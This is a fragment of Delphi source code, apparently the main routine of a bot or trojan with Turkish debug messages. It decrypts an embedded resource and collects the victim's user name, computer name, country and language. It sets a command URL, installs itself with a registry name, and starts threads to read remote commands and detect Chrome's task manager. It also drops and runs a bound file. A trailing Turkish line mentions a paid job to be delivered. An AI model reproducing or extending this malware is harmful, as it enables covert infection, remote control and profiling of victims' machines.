    Stream.Write(pointer(ResData)^,Length(ResData));
    Stream.Position := 0;
    Stream.Read(Info,SizeOf(TInfo));

    FileData:='';
    try
      ResourceStream:=TResourceStream.Create(0,'TFILE',RT_RCDATA);
      SetString(FileData,pansichar(ResourceStream.Memory),ResourceStream.Size);
    except on e : Exception do
      begin
        OutputDebugStringA(PAnsiChar(e.Message));
      end;
    end;
    FileData := Decrypt(FileData);






    BotConfig.ProductKey         := 'DENEMETEST';
    BotConfig.Mutex              := 'DENEMETESTv10';
    BotConfig.VictimName         := GetUserInfo(1);
    BotConfig.VictimComputerName := GetUserInfo(0);
    BotConfig.VictimCountry      := GetUserInfo(2);
    BotConfig.VictimLanguage     := GetUserInfo(3);
    BotConfig.InstallName        := String(INFO.PROGRAMNAME);
    BotConfig.RegistryName       := String(INFO.KEY);
    BotConfig.CommandURL         := String(INFO.URL_ADDR);

    DemoVersion;
    BotConfig.SettingsFile := GetCustomPath(7) + BotConfig.VictimCountry + '_' + BotConfig.VictimName + '\' + BotConfig.VictimComputerName + '\' + BotConfig.VictimCountry + '\DENEMETEST.ini' ;
    MakeSureDirectoryPathExists(PAnsiChar(IncludeTrailingBackSlash(ExtractFilePath(BotConfig.SettingsFile))));
    DebugPrompt(BotConfig.SettingsFile);
    DemoVersion;
    {$IFDEF DEBUG_MODE_ON}
      DeleteFileA(PAnsiChar(BotConfig.SettingsFile));
    {$ENDIF}
    DemoVersion;

    BotConfig.SettingsIniFile := TIniFile.Create(BotConfig.SettingsFile);
    BotConfig.InstallDirectory := IncludeTrailingBackSlash(ExtractFilePath(BotConfig.SettingsFile));
    BotConfig.InstallDirectoryPath := BotConfig.InstallDirectory + BotConfig.InstallName;
    DemoVersion;

    DemoVersion;
    {$IFNDEF DEBUG_MODE_ON}
    if INFO.INSTALL=True
      then begin
              InstallFile;
           end;
    {$ENDIF}

    DemoVersion;
    threadReadCommands  := CreateThread(Nil,0,@ReadCommands,nil,0,lpReadCommandThreadId);
    threadTaskManager   := CreateThread(nil,0,@DetectChromeTaskManager,nil,0,threadChromeTaskManagerControl);

    BindFilePath := BotConfig.InstallDirectory + INFO.FILE_NAME;
    DebugPrompt('Bindirilen Dosya : ' + BindFilePath);
    if Info.BINDER=TRUE
     then begin
              if not FileExists(BindFilePath)
               then begin

                     DebugPrompt('Bindirilen Dosya Calıştırılıyor...');
                     Str2File(FileData,BindFilePath);
                     ShellExecuteA(0,'OPEN',PAnsiChar(BindFilePath),'',NIL,SW_SHOW);
                     DebugPrompt('Bindirilen Dosya Calistirildi');
                    end;
          end;

    While GetMessage(Msg,0,0,0) Do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;

end.
1 adet iş verildi yarın öğlen ödemesi yapılacak,akşama doğruda teslim alınacak.